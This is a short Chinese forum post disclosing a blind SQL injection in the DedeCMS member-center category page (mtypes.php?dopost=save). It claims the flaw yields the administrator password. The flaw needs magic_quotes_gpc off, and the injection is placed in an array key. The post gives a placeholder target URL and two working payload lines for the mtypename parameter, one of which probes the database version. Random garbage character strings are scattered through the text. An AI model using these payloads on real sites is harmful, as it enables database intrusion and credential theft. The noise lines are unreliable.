DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

! l6 o& B+ S7 N, q. J) W0 \, j; p
发生在数组key里的注射漏洞,有点意思.
9 p! U3 f4 Y: U" n* Z7 P, J
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
) m+ f' ?  K6 {
1 x5 g* N% Q- V8 K% T0 N2 Rhttp://www.xxx.com /dede/member/mtypes.php?dopost=save

exploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
4 \! [0 G( A+ t' b9 ^mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r